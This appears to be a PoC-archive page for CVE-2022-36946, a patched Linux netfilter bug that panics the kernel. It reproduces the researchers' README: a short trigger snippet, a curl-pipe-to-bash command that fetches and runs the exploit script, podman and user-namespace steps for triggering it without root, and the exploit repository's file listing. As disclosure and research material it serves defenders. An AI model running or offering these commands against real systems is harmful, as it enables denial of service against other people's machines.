关联漏洞
标题:
Linux kernel 安全漏洞
(CVE-2022-36946)
描述:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 5.18.14及以前版本存在安全漏洞,该漏洞源于net/netfilter/nfnetlink_queue.c中的nfqnl_mangle允许远程攻击者造成拒绝服务(panic),因为在nf_queue判决中使用一个字节的nfta_payload属性时,skb_pull可能会遇到一个负的skb->len。。
描述
CVE-2022-36946 linux kernel panic in netfilter_queue
介绍
# CVE-2022-36946
Reported-by: Domingo Dirutigliano and Nicola Guerrera
While we were working on [firegex](https://github.com/Pwnzer0tt1/firegex), our application firewall for CTF Attack-Defence competitions, we stumbled upon a few kernel panics.
This strange behavour was than isolated and anlayzed, leading to the discovery of this potential security flaw in the netfilter module, specifically with nfnetlink.
# How does it work?
The kernel panics when sending nf\_queue verdict with 0-byte nfta\_payload attribute.
```
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
```
This happens because the IP/IPv6 stack pulls the IP(v6) header from the packet after the input hook.
So, if user truncates the packet below the header size, this skb\_pull() will result in a malformed skb resulting in a panic.
Try it executing `curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash` also with an unprivilaged user (more details below).
# Do we *really* need root...?
Using linux namespaces, in particular user namespaces (enabled via `kernel.unprivileged_userns_clone=1`), a normal user is able
to create a network namespace, enabling them to use the same kernel primitives that trigger the panic.
This will allow you to use the vulnerability without having root.
This scenario is not uncommon: for example [podman](https://podman.io/) uses this option to run its (rootless) containers,
and on some distros this option is enabled by default.
You can also try to execute the exploit without root privileges executing:
```bash
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
```
or if you want to test it on-fly (only tar and curl are required to be installed):
```bash
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
```
# Fix up
Fixed in linux kernel 5.19 [view diff](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/net/netfilter/nfnetlink_queue.c?id=v5.19&id2=v5.18)
Original patch by the linux kernel security team [here](https://marc.info/?l=netfilter-devel&m=165883202007292&w=2)
# Requirements for exploiting this vuln:
- A vulnerable linux kernel
- CAP\_NET\_ADMIN capability (also in a namespace)
# Why panic6?
It worked at the 6th attempt, so we kept the name.
# A new way to poweroff your PC:

# Presentation for DevFest-2023
[https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing](https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing)
文件快照
[4.0K] /data/pocs/909092355f04a7d5c65c953ba34e4a9574a0b5e1
├── [4.0K] amd64
│ ├── [776K] ip
│ ├── [223K] iptables
│ ├── [211K] ld-linux.so.1
│ ├── [366K] libbpf.so.1
│ ├── [ 42K] libcap.so.2
│ ├── [2.3M] libc.so.6
│ ├── [110K] libelf.so.1
│ ├── [711K] libgcc_s.so.1
│ ├── [ 26K] libmnl.so.0
│ ├── [942K] libm.so.6
│ ├── [ 33K] libnetfilter_queue.so.1
│ ├── [ 33K] libnfnetlink.so.0
│ ├── [207K] libnftnl.so.11
│ ├── [ 21M] libstdc++.so.6
│ ├── [ 66K] libxtables.so.12
│ ├── [ 98K] libz.so.1
│ ├── [842K] libzstd.so.1
│ ├── [ 17K] nfpanic
│ └── [4.0K] xtables
│ ├── [ 14K] libarpt_mangle.so
│ ├── [ 14K] libebt_802_3.so
│ ├── [ 14K] libebt_among.so
│ ├── [ 14K] libebt_arpreply.so
│ ├── [ 14K] libebt_arp.so
│ ├── [ 14K] libebt_dnat.so
│ ├── [ 22K] libebt_ip6.so
│ ├── [ 26K] libebt_ip.so
│ ├── [ 14K] libebt_log.so
│ ├── [ 14K] libebt_mark_m.so
│ ├── [ 14K] libebt_mark.so
│ ├── [ 14K] libebt_nflog.so
│ ├── [ 14K] libebt_pkttype.so
│ ├── [ 14K] libebt_redirect.so
│ ├── [ 14K] libebt_snat.so
│ ├── [ 14K] libebt_stp.so
│ ├── [ 14K] libebt_vlan.so
│ ├── [ 14K] libip6t_ah.so
│ ├── [ 14K] libip6t_DNPT.so
│ ├── [ 14K] libip6t_dst.so
│ ├── [ 14K] libip6t_eui64.so
│ ├── [ 14K] libip6t_frag.so
│ ├── [ 14K] libip6t_hbh.so
│ ├── [ 14K] libip6t_HL.so
│ ├── [ 14K] libip6t_icmp6.so
│ ├── [ 14K] libip6t_ipv6header.so
│ ├── [ 14K] libip6t_mh.so
│ ├── [ 14K] libip6t_NETMAP.so
│ ├── [ 14K] libip6t_REJECT.so
│ ├── [ 14K] libip6t_rt.so
│ ├── [ 14K] libip6t_SNPT.so
│ ├── [ 18K] libip6t_srh.so
│ ├── [ 14K] libipt_ah.so
│ ├── [ 14K] libipt_CLUSTERIP.so
│ ├── [ 14K] libipt_ECN.so
│ ├── [ 14K] libipt_icmp.so
│ ├── [ 14K] libipt_NETMAP.so
│ ├── [ 14K] libipt_realm.so
│ ├── [ 14K] libipt_REJECT.so
│ ├── [ 14K] libipt_TTL.so
│ ├── [ 14K] libipt_ULOG.so
│ ├── [ 14K] libxt_addrtype.so
│ ├── [ 14K] libxt_AUDIT.so
│ ├── [ 14K] libxt_bpf.so
│ ├── [ 14K] libxt_cgroup.so
│ ├── [ 14K] libxt_CHECKSUM.so
│ ├── [ 14K] libxt_CLASSIFY.so
│ ├── [ 14K] libxt_cluster.so
│ ├── [ 14K] libxt_comment.so
│ ├── [ 14K] libxt_connbytes.so
│ ├── [ 14K] libxt_connlabel.so
│ ├── [ 15K] libxt_connlimit.so
│ ├── [ 14K] libxt_CONNMARK.so
│ ├── [ 14K] libxt_CONNSECMARK.so
│ ├── [ 36K] libxt_conntrack.so
│ ├── [ 14K] libxt_cpu.so
│ ├── [ 19K] libxt_CT.so
│ ├── [ 14K] libxt_dccp.so
│ ├── [ 14K] libxt_devgroup.so
│ ├── [ 12] libxt_DNAT.so
│ ├── [ 14K] libxt_DSCP.so
│ ├── [ 14K] libxt_ecn.so
│ ├── [ 14K] libxt_esp.so
│ ├── [ 35K] libxt_hashlimit.so
│ ├── [ 14K] libxt_helper.so
│ ├── [ 14K] libxt_HMARK.so
│ ├── [ 14K] libxt_IDLETIMER.so
│ ├── [ 14K] libxt_ipcomp.so
│ ├── [ 14K] libxt_iprange.so
│ ├── [ 14K] libxt_ipvs.so
│ ├── [ 14K] libxt_LED.so
│ ├── [ 14K] libxt_length.so
│ ├── [ 14K] libxt_limit.so
│ ├── [ 15K] libxt_LOG.so
│ ├── [ 14K] libxt_mac.so
│ ├── [ 14K] libxt_MARK.so
│ ├── [ 12] libxt_MASQUERADE.so
│ ├── [ 19K] libxt_multiport.so
│ ├── [ 28K] libxt_NAT.so
│ ├── [ 14K] libxt_nfacct.so
│ ├── [ 14K] libxt_NFLOG.so
│ ├── [ 15K] libxt_NFQUEUE.so
│ ├── [ 11] libxt_NOTRACK.so
│ ├── [ 14K] libxt_osf.so
│ ├── [ 18K] libxt_owner.so
│ ├── [ 14K] libxt_physdev.so
│ ├── [ 14K] libxt_pkttype.so
│ ├── [ 14K] libxt_policy.so
│ ├── [ 14K] libxt_quota.so
│ ├── [ 14K] libxt_RATEEST.so
│ ├── [ 18K] libxt_recent.so
│ ├── [ 12] libxt_REDIRECT.so
│ ├── [ 14K] libxt_rpfilter.so
│ ├── [ 26K] libxt_sctp.so
│ ├── [ 14K] libxt_SECMARK.so
│ ├── [ 23K] libxt_SET.so
│ ├── [ 12] libxt_SNAT.so
│ ├── [ 15K] libxt_socket.so
│ ├── [ 14K] libxt_standard.so
│ ├── [ 18] libxt_state.so
│ ├── [ 14K] libxt_statistic.so
│ ├── [ 14K] libxt_string.so
│ ├── [ 14K] libxt_SYNPROXY.so
│ ├── [ 14K] libxt_TCPMSS.so
│ ├── [ 14K] libxt_TCPOPTSTRIP.so
│ ├── [ 14K] libxt_tcp.so
│ ├── [ 14K] libxt_TEE.so
│ ├── [ 22K] libxt_time.so
│ ├── [ 14K] libxt_TOS.so
│ ├── [ 14K] libxt_TPROXY.so
│ ├── [ 14K] libxt_TRACE.so
│ ├── [ 14K] libxt_u32.so
│ └── [ 14K] libxt_udp.so
├── [4.0K] arm64
│ ├── [693K] ip
│ ├── [263K] iptables
│ ├── [183K] ld-linux.so.1
│ ├── [306K] libbpf.so.0
│ ├── [ 79K] libbsd.so.0
│ ├── [ 34K] libcap.so.2
│ ├── [1.6M] libc.so.6
│ ├── [114K] libelf.so.1
│ ├── [ 42K] libmd.so.0
│ ├── [ 22K] libmnl.so.0
│ ├── [ 26K] libnetfilter_queue.so.1
│ ├── [ 26K] libnfnetlink.so.0
│ ├── [193K] libnftnl.so.11
│ ├── [ 66K] libxtables.so.12
│ ├── [102K] libz.so.1
│ ├── [ 18K] nfpanic
│ └── [4.0K] xtables
│ ├── [ 66K] libarpt_mangle.so
│ ├── [ 66K] libebt_802_3.so
│ ├── [ 66K] libebt_among.so
│ ├── [ 66K] libebt_arpreply.so
│ ├── [ 66K] libebt_arp.so
│ ├── [ 66K] libebt_dnat.so
│ ├── [ 66K] libebt_ip6.so
│ ├── [ 66K] libebt_ip.so
│ ├── [ 66K] libebt_log.so
│ ├── [ 66K] libebt_mark_m.so
│ ├── [ 66K] libebt_mark.so
│ ├── [ 66K] libebt_nflog.so
│ ├── [ 66K] libebt_pkttype.so
│ ├── [ 66K] libebt_redirect.so
│ ├── [ 66K] libebt_snat.so
│ ├── [ 66K] libebt_stp.so
│ ├── [ 66K] libebt_vlan.so
│ ├── [ 66K] libip6t_ah.so
│ ├── [ 66K] libip6t_DNPT.so
│ ├── [ 66K] libip6t_dst.so
│ ├── [ 66K] libip6t_eui64.so
│ ├── [ 66K] libip6t_frag.so
│ ├── [ 66K] libip6t_hbh.so
│ ├── [ 66K] libip6t_HL.so
│ ├── [ 66K] libip6t_icmp6.so
│ ├── [ 66K] libip6t_ipv6header.so
│ ├── [ 66K] libip6t_mh.so
│ ├── [ 66K] libip6t_NETMAP.so
│ ├── [ 66K] libip6t_REJECT.so
│ ├── [ 66K] libip6t_rt.so
│ ├── [ 66K] libip6t_SNPT.so
│ ├── [ 66K] libip6t_srh.so
│ ├── [ 66K] libipt_ah.so
│ ├── [ 66K] libipt_CLUSTERIP.so
│ ├── [ 66K] libipt_ECN.so
│ ├── [ 66K] libipt_icmp.so
│ ├── [ 66K] libipt_NETMAP.so
│ ├── [ 66K] libipt_realm.so
│ ├── [ 66K] libipt_REJECT.so
│ ├── [ 66K] libipt_TTL.so
│ ├── [ 66K] libipt_ULOG.so
│ ├── [ 66K] libxt_addrtype.so
│ ├── [ 66K] libxt_AUDIT.so
│ ├── [ 66K] libxt_bpf.so
│ ├── [ 67K] libxt_cgroup.so
│ ├── [ 66K] libxt_CHECKSUM.so
│ ├── [ 66K] libxt_CLASSIFY.so
│ ├── [ 66K] libxt_cluster.so
│ ├── [ 66K] libxt_comment.so
│ ├── [ 66K] libxt_connbytes.so
│ ├── [ 66K] libxt_connlabel.so
│ ├── [ 67K] libxt_connlimit.so
│ ├── [ 66K] libxt_CONNMARK.so
│ ├── [ 66K] libxt_CONNSECMARK.so
│ ├── [ 68K] libxt_conntrack.so
│ ├── [ 66K] libxt_cpu.so
│ ├── [ 67K] libxt_CT.so
│ ├── [ 66K] libxt_dccp.so
│ ├── [ 66K] libxt_devgroup.so
│ ├── [ 12] libxt_DNAT.so -> libxt_NAT.so
│ ├── [ 66K] libxt_DSCP.so
│ ├── [ 66K] libxt_ecn.so
│ ├── [ 66K] libxt_esp.so
│ ├── [ 67K] libxt_hashlimit.so
│ ├── [ 66K] libxt_helper.so
│ ├── [ 66K] libxt_HMARK.so
│ ├── [ 66K] libxt_IDLETIMER.so
│ ├── [ 66K] libxt_ipcomp.so
│ ├── [ 67K] libxt_iprange.so
│ ├── [ 66K] libxt_ipvs.so
│ ├── [ 66K] libxt_LED.so
│ ├── [ 66K] libxt_length.so
│ ├── [ 66K] libxt_limit.so
│ ├── [ 67K] libxt_LOG.so
│ ├── [ 66K] libxt_mac.so
│ ├── [ 66K] libxt_MARK.so
│ ├── [ 12] libxt_MASQUERADE.so -> libxt_NAT.so
│ ├── [ 67K] libxt_multiport.so
│ ├── [ 68K] libxt_NAT.so
│ ├── [ 66K] libxt_nfacct.so
│ ├── [ 66K] libxt_NFLOG.so
│ ├── [ 67K] libxt_NFQUEUE.so
│ ├── [ 11] libxt_NOTRACK.so -> libxt_CT.so
│ ├── [ 66K] libxt_osf.so
│ ├── [ 67K] libxt_owner.so
│ ├── [ 66K] libxt_physdev.so
│ ├── [ 66K] libxt_pkttype.so
│ ├── [ 66K] libxt_policy.so
│ ├── [ 66K] libxt_quota.so
│ ├── [ 66K] libxt_RATEEST.so
│ ├── [ 67K] libxt_recent.so
│ ├── [ 12] libxt_REDIRECT.so -> libxt_NAT.so
│ ├── [ 66K] libxt_rpfilter.so
│ ├── [ 66K] libxt_sctp.so
│ ├── [ 66K] libxt_SECMARK.so
│ ├── [ 67K] libxt_SET.so
│ ├── [ 12] libxt_SNAT.so -> libxt_NAT.so
│ ├── [ 67K] libxt_socket.so
│ ├── [ 66K] libxt_standard.so
│ ├── [ 18] libxt_state.so -> libxt_conntrack.so
│ ├── [ 66K] libxt_statistic.so
│ ├── [ 66K] libxt_string.so
│ ├── [ 66K] libxt_SYNPROXY.so
│ ├── [ 66K] libxt_TCPMSS.so
│ ├── [ 66K] libxt_TCPOPTSTRIP.so
│ ├── [ 66K] libxt_tcp.so
│ ├── [ 66K] libxt_TEE.so
│ ├── [ 66K] libxt_time.so
│ ├── [ 66K] libxt_TOS.so
│ ├── [ 67K] libxt_TPROXY.so
│ ├── [ 66K] libxt_TRACE.so
│ ├── [ 66K] libxt_u32.so
│ └── [ 66K] libxt_udp.so
├── [ 236] Dockerfile
├── [3.1K] panic6.c
├── [3.2K] panic6_podman.c
├── [4.4K] panic6_rootless.c
├── [2.7K] README.md
└── [ 303] run.sh
4 directories, 266 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。